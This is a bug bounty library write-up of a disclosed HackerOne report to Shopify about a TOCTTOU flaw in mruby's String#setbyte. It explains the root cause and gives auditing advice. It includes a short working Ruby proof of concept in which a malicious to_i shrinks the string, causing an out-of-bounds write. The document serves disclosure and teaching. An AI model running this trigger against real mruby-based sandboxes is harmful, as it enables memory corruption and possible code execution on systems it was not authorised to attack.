# TOCTTOU bug in mrb_str_setbyte leading the memory corruption

mruby String#setbyte caches length before argument conversion; a malicious to_i shrinks the string, causing out-of-bounds write and memory corruption.

- Payout: hidden
- Severity: critical
- Program: Shopify
- Found by: raydot
- Disclosed: 2016-12-16
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/181893
- Library page: https://bugbountylibrary.com/r/h1%3A181893
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:critical tech:ruby technique:source-review vuln:memory-corruption vuln:rce

**Target:** mruby String#setbyte in mruby-engine
**Root cause:** String#setbyte caches the string length before mrb_get_args loads arguments; argument type conversion can invoke Ruby code (to_i) that reallocates the string shorter, so the subsequent write goes out of bounds.
**Steps:**
1. Create a large string `$s = "9" + ("\n" * (1024*1024-1))`
2. Define class Tmp with to_i that pushes `"a"*1024` to `$k`, calls `$s.chomp! ''` and `$s.succ!` to shrink/reallocate the string, then returns 95
3. Call `$s.setbyte(128, tmp)` so argument conversion triggers to_i after length is cached
4. Observe native crash from out-of-bounds write; `puts $k[0]` demonstrates corruption
**How found:** Noticed that setbyte caches length before mrb_get_args, and that argument conversion can call back into Ruby code, creating a TOCTTOU window on the string buffer.
**Exploitation:** A malicious to_i conversion method shrinks the backing buffer after setbyte caches the original length, causing an out-of-bounds write; the reporter planned a reliable RCE exploit against mruby-engine.
**Insight:** When auditing native string/array methods, check whether length or pointer is cached before argument coercion that can re-enter Ruby and mutate the receiver.

## Proof of concept (copied exactly from the original report)

**Ruby PoC exploiting setbyte TOCTTOU**

```
$s = "9" + ("\n" * (1024*1024-1))
$k = []

class Tmp
    def to_i
        $k.push("a"*1024)
        $s.chomp! ''
        $s.succ!
        95
    end
end
tmp = Tmp.new
$s.setbyte(128, tmp)
puts $k[0]
```

